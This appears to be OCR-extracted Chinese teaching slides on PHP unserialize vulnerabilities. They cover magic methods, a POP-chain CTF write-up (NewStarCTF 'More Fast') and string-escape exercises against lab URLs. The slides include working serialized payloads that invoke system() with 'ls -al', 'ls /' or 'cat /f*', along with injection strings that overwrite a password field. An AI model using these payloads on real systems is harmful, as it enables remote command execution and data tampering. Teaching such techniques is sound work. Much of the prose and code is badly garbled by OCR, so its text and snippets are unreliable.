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| 11.1 SESSIONFIF11k

" EEIRFAP, ﬁ1i]i§%‘1§ﬁﬁsession§§iaié'lﬁﬁ%)ﬂEI’\J%',%, EanTEsessions{FfE
username, roleFSE, EIFNE(IEEERENESEcookiedr{FEE&session id, &
XN R, RSSEH MR (7T,

' RS RRE S4B sessionfFERFEERE? HUEERRIFFICRIEEL.

<?php

1 usage

class mySession

{
public $username;
public $role;
1usage
public $mail;

b

$sess = new mySession();

$sess->username = "admingol";
$sess->role = "admin";
$sess->mail = "admin@vruc.edu.cn";

ech4 serialize($sess); I %ﬂﬂﬂ%i

echo "<br/><br/>";

var_aun{(ses); | phprRfILEig

0:9:"mySession":3:{s:8:"username”;s:8:"admin001";s:4:"role";s:5:"admin";s:4:"mail";s:17:"admin@vruc.edu.cn";}

object(mySession)#1 (3) { ["username"]=> string(8) "admin001" ["role"]=> string(5) "admin" ["mail"]=> string(17) "admin@vruc.edu.cn" }



I

" REAARFIIN? HLEKE— 1 phplNRIAFFEAIFE. XN
RWIEEFRFATAILAER, — I ORFIMCZERFrrER SEEphpRRISHIAERESS
4

019:"mySession":3:{s:8:"username";s:8:_"ad min001 ";s:4:"ro|_e";s:5:_'_'admin"is:4:"mail";.5_:1 7:"gdmin@vruc.edu.crj|_'_';}
otject(mysgssion)h‘e) { ["usErname;'mMmmmmmcedu.cn" }
AT T A RSB EIRFFFEaiszl/e
® String - s:size:value;
" |nteger - i:value;
® Boolean - b:value;((XEHJvalue/508;1)
® Null - N;
" Array - a:size:{}

® Object - O:strlen(object name):object name:object size:{}



I

" FRRY, S—REANEREN, FIMZRsEEER/AIk
B AM002£2\00, HF\OOAR W, B7RERELHERZ+E
B, BRZBMNKEKRAITERM00, FrLESLRSETS,
FRIRKENSIRES L.

0:9:"mySession":3:{s:19:"mySessionusername”;s:8:"admin001";s:4:"role";s:5:"admin";s:4:"mail";s:17:"admin@vruc.edu.cn";}

object(mySession)#1 (3) { ["username":"mySession":private]=> string(8) "admin001" ["role"]=> string(5) "admin” ["mail"]=:

" FEKusername IFABEERNSER, AJLIEEIEHBETRE
F9\00mySession\OOusername, SKEN19, BrERE MR
B1T1ZFHR,

® YR =E Hprotected, SETERAVLERZINN00*\00,




| =F5

" FA 1 EphpHfEEsessionfIif{x, E#E@IZ$ SESSION['role]
MESRBOYNANE, BIEFKINIRE, session@BIIFFIHHIAINF
g, BBAXTFIIHHFFENREAZL IS _SESSIONIX N php
TEHNR? XHdKEIRFIIL.

s R FEYHLEL RS R ERiEiL unserialize BRELES aphp
Xj%o

$strsess = '0:9:"mySession":3:{s:8:"username":s:8:"admin@B1";s:4:"r
$newsess = unserialize($strsess):

l

object(mySession)#2 (3) { ["username"]=> string(8) "admin001" ["role"]=> string(5) "admin" ["mail"]=> string(17) "admin@vruc.edu.cn" }

var_dump ($newsess) ;



RES R

" IRFIIHNESE, BRI ERFRrEERF AR,
EaElEimE TR FFMCRIRHE, BIEE=IERkaL,

s FNMEREAGIF, tNERsessionfIFFINFF R,
ABARFFA LMESR B ShYrole, ZZRkadminFIF.

" K, HEseEERFINRERITEEMAE, X &E
PhpRRIBARTTIE.

class Mysession {

public $name;
public $role;

I o
EIFEIA
$sess 4 '0:9:"Mysession":2:{s:4:"name";s:9:"Kasihappy";s:4:"role";s:5:"admin";}'}

$session = unserialize($sess):

if ($session->role == "admin") {

echo "admin is here"; *EBE#EU%
}



11.2 PHPEARG A
» EFIANPHPRFFIWHITRIARN, £2EFEBERFINCFHNERGE, wELEES
TEUBRERAITAIA, TEE—EENNERTIE,
= _ construct()//CIEEXISRESARAR
__destruct() /3SR EEERATRLA
_sleep() //#{Tserialize(ORT, SCLVEREXANEREL
_ wakeup() //HiTunserialize(B, Sc=VERIIXRRZL
_call() //fEXN SR E X HRERAAREERY G AR A
_get() //FFMAAEAEERYE M ISEEEYE
_set() /BT REESAAHEREE
_isset() //EEAEAEIMEME L Aisset()akempty it
__toString() //Z#E B F AT ERETHYEIN T
_invoke() //EARRERIGIVAR— I RITRIEIN T



I ~_construct()

" phpHNETT AR R EIE TG E — T RENERERIG A,
EFNRPEE—TMEERZ, WRREEREFRYE, AR
FESIAFE—NKBSHEAT AZHIEIETT A,

" BERIEDARAERRIT-EBRNMRES, NkERE
RIS SR AT FHI4a(E,

ppppp

: $Personl = new Person();

e S0 $Personl->say(); //#ii: AL o s 2. b 27
$Person2 = new Person( name: "/h"):
$Person2->say(); //#iid: b Al fER: 2L gl 27

e funetion —consrct (namo="", $oax="3", $age=27) $Person3 = new Person( name: "AspU" sex: "Hi" oage: 25);
Srtmoamn = o $Person3->say(); //#ii: Fm: 0. fER: B b 25
$this->age = $age;

+

pul:; ay()

{

$this . §th $



I ~ destruct()

" TSRS ERER— SR BRI T — 28 Felsepk—2I08E, b
IR KA. BERES, —ikkin, TEAEPHPHHARR
FH EBRXRTEIEEN—ED, BERERTk—EENRERANG

1SS
o
public function __destruct()
1
echo "HEfHEENT L EC - K, kA s .$this->name;
F

h

$Person = new Person( name: "/\ij"):

" EREFIETER R, SEHEERFIEXNSR, LUETERRE, T

H=Z7
BRAEREALUBIOR—T, RASFI/NE



_sleep()

" serialize() RSN ERFTEAFE—TEANTE _sleep().
MREE, WG ESMEBRAR, ARTHITEIHIRE,
_sleep() HEERATRKIRRRHIEIE, SR URBEERE. F
i, MMRB—ERREINNSR, EAFEEIPRT, X1 IEEHR

sssssssssss

1usa
public $sex;
public $na
1usa
public $ag
1usage
public function __construct ($name="", $age=25, $sex="""')
1
. _ X N = .
st = e (RIDE(THER:
$this->age = $age;
$this->sex = $sex;
1
o BRI R f serialize )RS HIX B sleep() fik
% @return array 0:6:"Person":2:{s:4:"name";s:8:"5bCP5pi0";s:3:"age";i:25;}
*/
sssssssss
pubuc function __slee p()
MESRS H"”..”J ze Ol IAU I 1__sleep() Aiik<br>";
$th15- >>>>> = baseé4 _encode ($this->name ]'
™ y( ', tage'); //
1
+
$pe = new Person( NS
echo serialize ($person )
e br/>'



~ wakeup()

= 5sleeptBf, unserialize() 21882 GFE—1 _wakeup() &5
i%. WRFE, WSEA _wakeupsgii, MSTEENRFEERY
RIR, PINEFELEUREEER, SHiTHEeVIREE.

no usages

public function __sleep() {
echo "“{rEsMi{iH]serialize ()M 2L 1LI__sleep () Jik<br>";
$this->name = baseé4_encode($this->name);

return array('name', 'age'); // G0HL kT HE SN B S 7<% _Q:t%

g e b serialize OBt RIFAXEN_sleep(75i%
string(58) "0:6:"Person":2:{s:4:"name";s:8:"5bCP5pi0";s:3:"age";i:25;}" HTERIMNEBFEEserialize B2 TEREIXERN  sleep() 5%
M s unsenialize BT TEFIIXER) wakeup(7TiE
:/,, WakeuP object(Person)#2 (3) { ["sex']=> string(3) "&" ["name’]=> int(2) ["age"]=> int(25) }
no usages

public function __wakeup() {
echo "M{ER4MfEfunserialize QM2 Hix 1 __wakeup () Jriki<br>":
$this->name = 2;
$this->sex = '1j';
L1 B R AT
b
}

$person = new Person( name: 'SV S/ i
var_dump(serialize($person)):
var_dump(unserialize(serialize($person)));



~call()

" ENSEAERA— N ATBEEEENRAR, ZEEERINSE, F—15E
$function_name SEIHRWAFERNTG AR, 1 $arguments MILIZY
AR AR AFER ZNZ N SEL

" AT EAIJFERNG EAFERTEEIR, MEIIMNISEFERFIE, 7Tk
B _call) AiEkER. ZhEERABNG EAFEN=EaER, EF
MEBREIITTE. o

E?T%%: echo "Hello, world!<br>";
+
PRETEA I % run(Z%: Array ( [@] => teacher ) )AN{F{E! Jxx
.
AR R eat(BH: Array ( [0] => /B [1] => R ) YARAALE! y
usages
Hello, world! function __call($funName, $arguments)
{
echo "fREFINMME: " . $FunName . (B " S/ SIS
print_r($arquments); // Zi i/ qb i i i A
echo ")AYEfEL <br>\n"; //
b
b
$Person = new Person O;
$Person ->run("teacher"); // WBHN G ELRT A WE AT P g _call() i
$Person->eat ("N, "),

$Person ->say();



_get()

" £ php ERXNSREEF, KHIRRBIEHRIRES privatesiprotected }:
MRFATDEEINERAAENEHI "FEEnEENMAB RS ISR, B
AR TRERZAN A, BATTLMERBEARTGE _get(.

private $name;
4 usages
protected $age;

1 usage
function __construct($name="", $age=1)
{
$this->name = $name;
$this->age = $age;
b

VEss

* s _get () ik, E AR PR 5 ik, B S TEAZB LA AP

* Pparam $propertyName oA % .
* 18170 .
* @return int

*/

no usages
public function __get($propertyName) MZ' ;J\ ﬂ”
g EHE: se
if ($propertyName == "age") {
if ($this-»age > 30) {
return $this->age - 10;
} else {
return $this->$propertyName;
+
} else {
return $this->$propertyName;
b
iy
b
$Person = new Person( name: "/5j",  age: 60); // idiifPerson L HIE IR, 07 Rt Ay R AT
echo "tk%&: " . $Person->name . “<br>"; /) g A Ename. fls jer()
_get() ik MW EAS

echo "fE§:. " . $Person->age . "<br>"; YZRN=E:




~ set()

= set( $property, $value )GiEAFEEAEREE, H—1K
EMNEEWER, WHEsHAg, EENSHEREERNE
HRFE,

[xx
* IRy i B FE
* @paran $property
% [@param $value
*/
no usages
public function __set($property, $value) {
if ($property=="age")
{
if ($valve > 150 || $value < 8) { ‘_/_Q:t .
return; lE T-—l:l%
T
+

$this->$property = $value;

' RINL, A4E16% T

[xx

o A R TR A
*/
1usage
public function say(){
echo "fm".$this->name.". S4".$this->age."% /";

}
i
$Person=new Person( name: "W, age: 25); //7ril. p4GHEIEAE R A
/7 E iR T__set() @i, JEEHEAname (L BHL JEBIEET PP (S
$Person->name = "/ /. i _set()
/7 sy r__set () |, 1PEtAage (L B0 IREIEIR26 (4071 B

$Person->age = 16; //U{/i41)
$Person->age = 1608; //160. Lk
$Person->say(); //#i: Fempir, SF16 4T



I _Isset()
B EEXNEIEZEIRAIE—TissetRRERINA, isset)HTNE
TEEAIRE, EATTZEEHAEH, URENNZT=FENE
[Bltrue, BN{E[E]false,
= BBAMIRAE— I XISRIMEFERIsset ()X R EENEXS S EEHAYAL
EEHIRER A LAHER?
DRRHIER, NRNKREBMREANEBA, FAIFAILUERX
ERECENERZEME, NREAERIRREME, X EREHEAELE
A7, FEmERATAENEIE 7, TEINEEAE,

pall




_Isset()

o A ENAREEER isset() 8¢ empty() B,  isset() &4%E
. (XBACEEAEFIRIFEZE)

public $sex:

1 usage

private $name;
2 usages

protected $age;

1usage — _
public function __construct($name="", $age=25, $sex=""") / %QD—F
{

$this->name = $name;

$this->age = $age;

$this->sex = $sex; 1 // public [TIL:L iSSEt()

' MAEZEANE T R isset () B E 'E FA A B finamefs), HahifH // __isset() W F—41echo
- 1 // __isset() W% I echo

" (paran Seontent MLEHAN T isset () EEENE FA G B Fagelt, BEHEM // __isset() W & —1echo
* @return bool 1// _iSSEt() P\]Qf’%‘ ‘.-’|\echo

*/

no usages

public function __isset($content) {
echo "4 Misset () il B A {$content} iy, Hahidi<br>";
echo isset($this->$content);
i
+

$person = new Person( name: "/j", age: 25); //
echo isset($person->sex),"<br>";
echo isset($person->name),"<br>";
echo isset($person->age),"<br>";



~ toString()

" toString() IBiEAT— 1 EBEIAMFRFEIT N EERIN, B4
‘echo $obj;" MIZEBREHA, WHEEVUREI— N FERAE, SNE
thiifzﬁﬁ =ES

uuuuuu

SSSSSSSS

1 usage
public $sex;
public $name:
1usage
public $age;

ZR.
1 usage
public function __construct($name="", $age=25, $sex='"")
{
$this->name = $name: go go go

$this->age = $age;

$this->sex = $sex;
}
Nno usages
public funct _toString()
{
ret 'go go g
+
¥
$person = new Person ( name: NYY: S/



~_Invoke()
» S LAVERBREEISIVER— I ISKAET, _invoke() TiE=
wEER.

| Usdye
public function __invoke() {
ST L A b e g 1 Y=g
} echo "IXA[E g BEIR(TER:
+ X ] AN R

$person = new Person( name: '"/NUV); /) prdgit

$person();



11.3 RIFFLIRITE

" i5110.10.17.18:2000/serial/1.php

private Scmd;

public function _ destruct()
I

match(”/cat| tac more|tail|base/i”, $this—>emd)) {
@system($this—>cmd) ;

if(lp

1
¥

@unserializd($ POST[ unser 1);
p

s OB RIBENNSERHITRFIIL, BBAEERNITSERE
SHIERRFIEEIRNphpZE, A destruct@EARGiE,



http://10.10.17.18:2000/serial/1.php

5

« ALEEIRIDE ViR ST B dEASEIN Ty stemigS,
RS, WRXANmdA'ls -a" SRAGOMNE, SWATELR
SEFERELL.

s BIiEpocdl ™, SJLAEIT 10.10.17.18:2000/serial/poc1.php

{?php
E highlight file( FILE ):
class evil | : :
» . unser
private Semd= ( ls -al )_- unser=0:4:"evil”:1: {s:9:"%00evil%00cmd”;s:5:"1s+-a";} </span>
] N <{span styl olor: %0
Sa=new evil(): </]si7ja l<£1 />
echo serialize(3a); <spzn style="color: #0
" H L " H w w n “hgt;
2> O4:"evil":1:{s:9:"evilemd";s:6:"Is -al";} </span’
&nbsp; <br />
</span>
{/code>
.l:php
14 pocl. ph

BcmdAFNEEE, FRLUEREAIITRRNT :
unser=0:4:"evil":1:{s:9"%00evil%00cmd";s:6:"ls -al";}


https://kk666.site/serialize/poc1.php
http://10.10.17.18:2000/serial/poc1.php

4

REF7ICIRIE

= i5/510.10.17.18:2000/serial/2.php
" BEXEE—HEARGE BEEWERR

4

17a5<, EEBATLARYAE AL
class Revleji‘ge{ o E_]—gﬁ'fﬁ%l /
Eﬁbliz fuﬁrcl:ion _ get($var) | E_]—ﬁﬁ @iﬁ%
1 wr
o AOJIESE
class Web{

pub-hc S$func; B SR —
public S8var; I ﬁ{
public function evil() { D 9:- MEZ /
if (Ipreg match("/flag/i”, $this—>var)) { Ny Z

) fﬁthis—ﬁunc) ($this—>var) ; ] |¥| éﬁ% ﬂED 7&/‘<

Jelse

| :  echo “Not Flag”; %&%Bﬂ}?
I

" RFE—NMEASEARAE, AEERITRAITE
ZRYa<L, FTLUEREGE, AEEATTLATEEX
B LUERFEANHibZAYinvoke TiZ,

" FIAMSREBMSEE AR, FlIGEREL
B3 Isystem, SELELcat /f*, BBEHAT
system('cat /f*"), MmikEXflag

<?php
highlight file( FILE );

class Start{
public SerrMsg;
public function _ destruct() {
die($this—>errMsg) ;
1
1

class Pwn{

public 3obj;

public function __ invoke() {
$this—>obj—revil();

1

!

public function evil() {
phpinfo () ;

1

!

class Reverse{
public $func;
public function _ get(Svar) {
($this—>func) () ;
1
!

class Web{
public $func;
public §var;
public function evil() {
if (!preg_match(”/flag/i”, $this—>var)) {
($this—»func) ($this—>var) ;
}else{
echo “Not Flag”;
}
}

class Crypto{
public Sobj;
public function _ toString() |
Swel = Sthis—>obj—>good;
return “NewStar”;
1
}

class Misc{
public function evil() {
echo “good job but nothing”;
1
!

Sa = @unserialize($ POST[ fast']);
throw new Exception("Nope”);


http://10.10.17.18:2000/serial/2.php

N=N—
5 iR
s F— REPNASRETF($this->func)($this->var);
s FEE BRAITEZBpwnZEFHI$this- > obj->evil ;AT LAt & evil ) /5%
" B=2: HfilEERreversezkdh_gets5iA A ($this->func)(); Bl LUBEIE
XM ApwWnERY  invokeBARTTIA.
" BIUL: ETFRBEIIMBESREE FIRAPERERA  get(), INEEMERI
fEcryptozZEmEAYSwel = $this->obj->good;
" FRHL: RINPEREMAR _tostringBATTIE, XEHERKZANEEE
_destruct() BARTTiE FRIdie($this->errMsg);, B die() Rzl
$this->errMsg B4AYE, FLRILAARGIRIT. XPMBEIHBRE T ER AT
BT, RERNREEELAEIcryptoXfEiastartEmilF 7, REITE#H
1TREAIL.




R FHLiRIR

= PopiEal T

$w=new Web():
Sw—>func="system” ;
$w—ovar="1ls /7;
$p=new Pwn():
Sp—>obj=3w;

Sr=new Reversel():
Sr—>func=%p:

$c=new Crypto();
Sc—>obj=Sr:

$s=new Start():
$s—rerrMsg=$c:

echo serialize($s)

) -
44
e
e,
=

{?php
highlight file( FILE );

class

——

class

class

class

class

Start |
public S$errMsg;
publi dacd +(\ {

£ s
1 die($this—§gfrﬂsg); I

1
!

Pwn |
public Sobj;
public function invoke () {

|$this—>obj1m 10 |

1
!

public function gvil(] {
phpinfo() !

1
I

Reverse{
public $func; |

public _function g
($this—>func

1

I

Web {
public $func;
public S$var;
public function evil( [
if (!preg_match(}/fAag/i”, Sthis—>var)) {
($this—f§funk) ($this—>var) :

telse{
P

echo “Jot FKlag”;

]
!

Crypto!{ l'

public Sobj;

public function toString() {
Swel = ISthis—>obj—>good;
return — Newstar .

Misc{
public function evil() {
echo “good job but nothing”;
1
!

@unserialize (§ POST[ fast' 1)
new Exception(“Nope”):



REF7ICIRIE

= FRER T, BIERTAHRIpopiEEr] LAtA__ destructifTiagpiZy

B, ERXEEFN&EE—ITE—TNHSERIRIE, T riE

FHIHIT, S5 destructBEASiA.,

" XHUSIREIphpHILRREIKALE]: £ PHP &, ffEWHLHEIRE
5 | AT ECRSEIRY,. S— MR EIEN, BrRISIAITEDs
1. 38— S |IBIERZIRE, SIRTEESEM 1. 18

[, B—15|BABREEZNRE, SIFTEEmasES 1,
RS ATEEAERT, [RkEWIHE SBEEIRC/ALR, F

=%J

ARSI SR (AR destructi®izy) .

Zizeh



RF5UCRIE

" B IR E AT ERFFIEXISRAYS | R ?

" S EFRTRER—IMNNSR, MzEEME NULL B,
SEHIRATS | BITHEUEL,

" RIIRFEE— M ETHNE—IURE A Z B ATRRIFFHRT
R, REIOXMEAELRE, MeSEXNFICISRIIS AR,
MiEFTREHMMS 1A, MaEBAER_destruct/sik,

= AR
) & %E/ \jj 2 | $w->func="system";
Ex 2% POPTESZL /L
3 | $w->var="1s /";
4 | $p=new Q0;
5 | $p->obj=%w;

0

12| $a=array($s,@);
1 echo serialize($a);




- op
Upgrade-Insectre-Reqiiests: 1 12 </ d >
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 bin
(KHTML like Gecko) Chrome/123. 0 6312.122 Safari/537.36 13 boot
Accept: 14 dev
te T/h‘r 1, a 1 ation/xhtml+xml, application/xml;q=0.9, image/avif, image/we |5 etc
bp, image/apng, */*; 0 8, application/si d xchar ge;V:bS;q:0.7 16 h
N . Accept—Enc d ng: gzip, de fl ate, br 17 t d. img
I Accept-Language: zh—CN, zh;q=0.9 nitrd. img. old
N\ ST Con t clos ig 1ib s
% <[ n Content T pplication/x-www-form-urlencoded 20 1ib32
J I F“ I Content—Len, th 191 91 1ib64
22 1ibx32
fas 23 lost+found
a.2.{ .0,0.5. Stan 1: s 6 rrisg”;0: 6: “Crypto”:1:{s:3:"0hj” 0 “Rev 94 medi
se” 1 {s:4:"func”;0:3:"Pwn”:1: { :3:70bj”;0: 3:"Web”:2: {s:4: " fur 6. sYs | 95 mnt
.\y )-LE/\JA é:t ‘\ 3vm;41/1bh_11_0,L 26 ot
XEZHY R4 — e
28 To0Ot
29
( sbhin

a:2:{1:0;0:5:"Start":1:{s:6:"errMsg";0:6:"Crypto":1 '{5'3'"0 o
7:"Reverse":1:{s:4:"func";0:3:"Pwn":1:{s:3:"obj",0:3: "Web“ﬂ? fs:
4:"func";s:6:"system"”;s:3:"var";s:4:"ls /";}}}1}:1;1:0;}

" BAlmiEER, BXAMRELE, FILUSLeR15080, 8
HHANRFIICHE (W TFOSURSESERIIMITIRER KR
FHER T phpids) |, EEFRNRENEEFIICISREISI A
"1, AT destructBAGi%,

m REEEZS . 2023Newstarctf week4 More Fast

2




12.4 RFFIECFFTIER

" 7Ephprh, AU R R AR B AN BRI SCHR 51

:0;s:4:'fla :
ar_dump (unserialize($str));

i 45 0

/%

array(2){

[8]=> string(4) "flag"
[1]=> string(9) "kasihappy"
H

*/

" —fgiER T, RRIAINERERE, LEAFHPZESstr2— MrERFS
WRHN=FAE, RIERRNEEPEHI— A SERFIIR. (B35

SCHARINLE, SNSRIESstrE BRI E Sl — 4T

<?php
$str = "a:2:{i:0;s:4:'flag';i:1;s:6:'kasihappy"';}abc";
var_dump (unserialize($str));

?>

4 25 U AR SRR L (AR 1]
" XA T REFFICHERERE —EREER, EXMEEZINIFR
(FN7efESHMYabc) BB, AR FY CHIIERRTT



I E kIR
s RFSZFRUAEEFRAER, REENRERISCESEE
XIFR5IME (serialize()) ERVFERTERIRIT 7 TIERE (BZ2aE

AL
ZL) .

b, -

o IR R RIB R —RR 2 T,
SRR



=/

—1~

82

AN

s 0] WNRFBSEFIHITREICZERS, 1A ffEvar dumpFJEJHSE
Hpassword I AIER 123456, MAEbiubiu?

<?php
highlight_file(_FILE_ )
functi filter($str)
return str_replace (" Sstr)
N XGRS
biubi 2 FEHE(|X
10.10.17.18:2000/serial/3.php " " | A, '“‘jkaﬁ_zpasgword
if {\isset($7PgST|:’uIE‘ame’]))] { E/\J%K],A'fg (%B/j_\i%:%q:l/
Susername = $_POST[ uname’]; N . — iz
1 X MR FERIB =
Suser = array(Jusername, Spassword) ; role)
$str = filter(serialize ($user));
var_dump (unserialize ($str)) ;
s F E B R T R B % € F &F $str1 B B B

a:2:{i:0;s:9:"kasihappy";i:1;s:6:"biubiu”;}

= 8 FE password £ 123456 |,

RENUCHKBTHFHFEEZER

a:2:{i:0;s:9:"kasihappy";i:1;5:6:"123456";}


http://10.10.17.18:2000/serial/3.php

]

AN

FrIES(E

= JNERIHEA T NBIZE
a:2:{1:0;s:29:"kasihappy";i:1;s:6:"123456";}";i:1;s:6:"biubiu”;}

= B IHVR AR B R FZREYERD, (B2RIEHYS:29BRH 740
BED(KERN2)AERE, BAGTIX I IRHIVE?

= I)BIERE), FAGEFIA T AEYFEIMCERNFFHRE{ TN SR
(B, XBILFFRETEK, KPS EkasihappyFEII— 1%, &=1HEEN,
XEZEANSE AL BEBD FREkasihappylIikE, BHE20, IFAREFEE
ftkasihappy/amEII201™x, FEEIGF (HIEREZFEEDER—1EiER
Fylb=E5aR, XZEH R SREVERETERIERY.




%—-_f\fig{;i 373~15

= A uname= kasihappyxxxXxXXXXXXXXXXXXXXXxxxX";i:1;5:6:"123456";}";

" RN AT

B 3:2:{i:0;5:53:"kasihappyxxxxxXXXxXXxXxxxxxxxx";i:1;s:6:"123456";}";i:1;s:5:"aaaaa";}
= Filterz/5Z5 09!

® a:2:i:0;s:53:"kasihappyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy":i:1;s:6:"1234
56";}":1:1;s:5:"aaaaa";}

Connection: close k
Content-Type: application/x-www-form-urlencoded {/span>
Content-Length: 59 {span style="color: #0000BB”>
$str
{/span>
{span style="color: #007700">
V) <br />
{/span>
11 </span>
12 </code>
string (110)

”
:

uname=kasihappyxxxXXXXXXXXXXXXXXXXxXxXxx";i:1:8:6:7123456";}

1;5:6:7123456”:}17;”7;i:1;5:6:"biubiu”;}”

array (2) {

[0]=>

1 string (53) ”kasihappYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYY”
16 _[1]=>

17 [string (6) "123456” |

18}

19

el [e= o) == M e ] [w= o Nes=

1

Lo




TR M5 FASCl
s 0 WNRFESEHIHITRFICHZERS, 1ZWaEvar dump
FJEDHRAYpasswordXSNHYERZ 123456, MAZbiubiu?

<?php

highlight file( FILE );

function filter($str){

return str_replace(xx’, 'y, $str);

$username="kasihappy”: |§—M:_EE E/\J , ﬂa)j %

$password="biubiu”;
| | h %mall}_ = 71237, | | | - ) *DEB%‘_’E‘_E_}?E/ %
101017182000/Ser|a /4D @) ;isel{;;;;gt(i_POST[ uname’ ]) &% isset($_POST[ mail’l)) | iﬁ,ﬂ%aﬁpassword

$_1FEOST|:’ uname’ ] :
$mail = $ POST[ mail ]; Y
HIBOANE

Suser = array(Susername, $password, Smail);

$str = filter(serialize($user)):
var_dump ($str) ;

var_dump (unserialize($str)) ;

B F{1iBusername ukasihappyxxxxxx (IKEA15) , filterit
HZ ERIZER:
B 3:3:i:0;s:15:"kasihappyyyy";i:1;s:6:"biubiu”;i:2;s:3:"123";}



http://10.10.17.18:2000/serial/4.php

SRR RS
" FAIRTLAER, fiterBFRRL R, 28U AER, XD
R, HNNEBENAXTERNFAERE (s15) , &7
JRERYE, MNMEEIE(IsEREEI ISRV EBEMERYE.,

B 3:3:{i:0;s:7:"kasihappyxx..";i:1;s:6:"biubiu";i:2;s:32:"a";i:1;5:6:" 12
3456":1:2;s:3:"123";}

» PERONAREREES NIASERS, W FEIEHS D
All73usernamefimail, IHAIFELIETERUsername, {E{Sphp
FAUCREIANT (HFiEEBRpassword) :

B 3:3:{i:0;s:?:."kasihappyxx..";i:1;s:6:"biubiu”;i:2;s:31:"a";1:1;5:6:" 12
3456":1:2;5:3:"123":}




FAFIR D (8 S

® a:3:{i:0;s:?:."kasihappyxx..";i:1;s:6:"biubiu”;i:2;s:31:"a";i:1;s:6:"

123456":1:2;s:3:"123";}

B X NI FRYusernamed, HEF(IT@ARIXXZS, E530T
T, BAIIRZEEEGAIONKX, FRCSIFIEOXER G E T,

kasihappyXXXXXXXEXEXX XXX XXX XXX XXX XA XX XXX XXX XXX XXX XKXXXXXXXXXXXXXXX&
mail=a”;i:1;s:6:7123456";1:2:5:3:7123

11

16
17
18
19

<span style= color: HUU/((UU
1) <br />
</span>
<{/span>
</code>
string (118)

1:2:5:32:7a";i:1;5:6:7123456";1:2:5:3:71237;}7

3 array(3) {
4 [o]=>
5 string(69)

[1]=>
string (6) “123456”

L21=
string (3) “123”

20 }

21

s ') ne== Mol e N N



" AFAIES . ERARNREEIN LA ORENFT. fid1diE

R, FREZZR, HHEERFRAES HER. MMsEIFFitie

= IFAED D ERARNEEIN LA OCEIERNFN. fddE
FrHHRLE, [ICREIEE, EEENFASEINE




